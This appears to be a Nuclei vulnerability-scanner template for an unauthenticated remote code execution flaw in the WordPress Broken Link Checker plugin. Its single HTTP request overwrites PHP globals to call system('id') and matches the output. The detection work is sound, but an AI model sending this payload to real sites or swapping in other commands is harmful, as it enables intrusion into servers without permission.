WordPress Broken Link Checker < 2.4.12 - Remote Code Execution

id: CVE-2026-18937

info:
  name: WordPress Broken Link Checker < 2.4.12 - Remote Code Execution
  author: anirbala98
  severity: critical
  description: |
    The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables on the server when a classic (non-block) theme is active.
  impact: |
    Unauthenticated attackers can execute arbitrary code, leading to full remote code execution with web server privileges.
  remediation: |
    Upgrade to version 2.4.12 or later.
  reference:
    - https://wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18937
    - https://wordpress.org/plugins/broken-link-checker/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2026-18937
    epss-score: 0.00543
    epss-percentile: 0.44825
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    vendor: wpmu-dev
    product: broken-link-checker
    framework: wordpress
    fofa-query: body="/wp-content/plugins/broken-link-checker/"
  tags: cve,cve2026,wordpress,wp-plugin,rce,broken-link-checker,unauth

http:
  - raw:
      - |
        GET /?_wp_sidebars_widgets[sidebar-1][]=x&wp_registered_widgets[x][callback]=array_filter&wp_registered_widgets[x][params][0]=system&wp_registered_sidebars[sidebar-1][cmd]=id HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "uid=", "gid=")'
        condition: and
# digest: 4a0a00473045022100d7f131780e9d218430052f4c71440fe9bdabe9e28041465740ed60f2fae463ba022049f47a807d19b574741878cb7b011d48f68996fbe9519920d4de5963287ced75:922c64590222798bb761d5b6d8e72950